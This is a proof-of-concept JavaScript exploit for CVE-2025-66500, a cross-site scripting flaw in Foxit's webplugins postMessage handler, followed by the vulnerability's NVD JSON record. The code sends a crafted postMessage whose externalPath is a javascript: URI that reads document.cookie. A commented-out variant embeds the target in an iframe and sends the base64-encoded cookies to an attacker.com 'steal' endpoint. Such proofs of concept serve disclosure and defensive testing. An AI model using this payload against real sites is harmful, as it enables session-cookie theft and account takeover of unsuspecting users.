CVE-2025-66500

// CVE-2025-66500 PoC - Foxit webplugins Stored XSS via postMessage // This PoC demonstrates how an attacker can exploit the postMessage handler // to execute arbitrary JavaScript by setting externalPath to a javascript: URI const targetOrigin = '*'; // Target origin (vulnerable site) const targetWindow = window.opener || window.parent; // Construct malicious postMessage with externalPath pointing to javascript: URI const maliciousMessage = { externalPath: 'javascript:alert("XSS by CVE-2025-66500 - Cookie theft: " + document.cookie)' }; // Send the malicious postMessage to the vulnerable Foxit webplugins page // This will cause the browser to execute arbitrary JavaScript targetWindow.postMessage(maliciousMessage, targetOrigin); console.log("Malicious postMessage sent to target"); // Alternative: Using iframe to target specific page /* const iframe = document.createElement('iframe'); iframe.src = 'https://webplugins.foxit.com/vulnerable-page'; iframe.onload = function() { iframe.contentWindow.postMessage({ externalPath: 'javascript:fetch("https://attacker.com/steal?c="+btoa(document.cookie))' }, '*'); }; document.body.appendChild(iframe); */

{"cve": {"id": "CVE-2025-66500", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T08:15:52.963", "lastModified": "2025-12-23T17:33:39.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in webplugins.foxit.com. A postMessage handler fails to validate the message origin and directly assigns externalPath to a script source, allowing an attacker to execute arbitrary JavaScript when a crafted postMessage is received."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-01", "matchCriteriaId": "1C90C56D-E699-4600-92B1-30DF358CE2E9"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}